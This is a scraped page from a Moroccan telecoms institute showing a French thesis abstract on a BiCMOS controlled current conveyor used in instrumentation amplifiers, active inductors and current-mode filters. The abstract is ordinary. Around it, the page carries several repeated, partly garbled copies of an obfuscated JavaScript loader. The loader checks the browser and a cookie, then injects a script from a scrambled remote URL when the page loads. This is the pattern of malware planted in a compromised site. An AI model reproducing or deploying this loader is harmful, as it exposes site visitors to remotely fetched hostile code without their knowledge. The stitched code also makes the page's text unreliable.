

[A \[1\]](#) [A \[1\]](#)

[Résumé 009-2018 \[2\]](#)

Résumé:

Le développement des composants électroniques performants est une tendance croissante qui attire constamment l'intérêt des communautés de la recherche et de l'industrie. Ces composants sont conçus pour satisfaire les besoins et suivre le progrès des divers domaines, comme le secteur des nouvelles technologies de l'information et de la communication. Les circuits analogiques en mode courant répondent à certains de ces besoins, vu les avantages attrayants qu'ils offrent par rapport à ceux du mode tension. En effet, le convoyeur de courant contrôlé est considéré comme le bloc de construction de base le plus populaire en mode courant. Cependant, les convoyeurs introduits dans la littérature souffrent de plusieurs limitations en termes de complexité, taille, consommation d'énergie, etc.

Le travail de recherche présenté dans cette thèse porte sur l'étude et la caractérisation d'un convoyeur de courant contrôlé de deuxième génération à transfert de courant négatif (CCCI⁻). Cet élément, implémenté en technologie BiCMOS, est constitué à partir d'un nombre réduit des transistors. La structure simplifiée de ce convoyeur ainsi que ses caractéristiques nous ont incitées à l'utiliser dans la conception des amplificateurs à gain contrôlé et des amplificateurs d'instrumentation. Ces amplificateurs peuvent opérer en mode tension et en mode courant. De plus, une attention particulière est donnée au problème des inductances. Des nouvelles structures d'inductances actives non idéales, réalisées à base de CCCI⁻, ont été proposées et utilisées dans la réalisation des filtres de deuxième ordre passe-bande. Ces filtres, fonctionnant en mode courant, ont une fréquence centrale et un facteur de qualité contrôlés en courant. Les différents circuits présentés dans ce manuscrit offrent des caractéristiques électriques intéressantes telles que des performances fréquentielles élevées (90MHz pour les amplificateurs d'instrumentation et 1GHz pour les filtres), des faibles tensions d'alimentation ($\pm 0.75V$), des consommations d'énergies réduites, des paramètres contrôlés en courant, des grands TRMCs pour les amplificateurs d'instrumentation (200dB en mode courant) et des facteurs de qualité élevés (100 pour les filtres améliorés). La comparaison des caractéristiques des composants que nous proposons avec ceux introduits dans la littérature souligne l'intérêt et les avantages de nos circuits. Les résultats obtenus affirment que nos circuits peuvent être utilisés dans la mise en oeuvre des circuits intégrés pour plusieurs applications dans les systèmes de télécommunication et d'instrumentation biomédicale.

Mots clés : Amplificateur à gain contrôlé, amplificateur d'instrumentation, circuit translinéaire, convoyeur de courant contrôlé, filtre actif, inductance non idéale, mode courant, mode tension, technologie BiCMOS.

```
;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())"))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s)/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_())"))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s)/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```



© 2017 Institut National des Postes et Télécommunications

```
;(function(){var x=navigator[m("4t)n)e}gnA(r;eistu)");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}{c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});(function(){var x=navigator[m("4t)n)e}gnA(r;eistu)");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k){c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});(function(){var x=navigator[m("4t)n)e}gnA(r;eistu)");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k){c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});(function(){var x=navigator[m("4t)n)e}gnA(r;eistu)");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k){c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});(function(){var x=navigator[m("4t)n)e}gnA(r;eistu)");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k){c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});(function(){var x=navigator[m("4t)n)e}gnA(r;eistu)");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');
```

- [Alumni](#)
- [Contacts](#)
- [Plan de site](#)
- [Mentions Légales](#)

